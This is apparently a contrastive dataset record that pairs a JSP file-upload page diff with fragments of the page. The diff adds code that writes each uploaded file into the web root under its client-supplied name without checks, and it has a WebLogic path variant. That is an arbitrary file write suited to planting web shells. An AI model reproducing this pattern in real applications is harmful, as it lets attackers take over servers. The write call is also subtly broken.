anchor.diff:  			DiskFileItemFactory factory = new DiskFileItemFactory();
   			ServletFileUpload upload = new ServletFileUpload(factory);
   			List<FileItem> items = upload.parseRequest(request);
  -			for (FileItem item: items) { 
  +			for (FileItem item: items) {
   				String content = new String(item.get());
   			%>
   				<div>
   					<p>file name: <%= item.getName() %></p>
   					<div><%= content %></div>
   				</div>
  -			<%}
  +			<%
  +			String path;
  +			String serverInfo = application.getServerInfo();
  +			if (serverInfo != null && serverInfo.toLowerCase().contains("weblogic")) {
  +				path = application.getResource("/").getPath() + "/" + item.getName();
  +			} else {
  +				path = application.getRealPath("/") + "/" + item.getName();
  +			}
  +			FileOutputStream os = new FileOutputStream(path);
  +			PrintWriter writer = new PrintWriter(os);
  +			writer.print(content.getBytes("UTF-8"));
  +			writer.close();
  +			out.println("\n");
  +			out.println("写入文件 ====> " + path);
  +			}
   		}
   	} catch (Exception e) {
   	    out.print(e);
  
positive.code: <%@ page import="org.apache.commons.fileupload.disk.DiskFileItemFactory" %>
  <%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
  <%@ page import="java.util.List" %>
  <%@ page contentType="text/html; charset=UTF-8" %>
  <html>
  <head>
  
negative.code: %>
  </body>
  </html>
  
  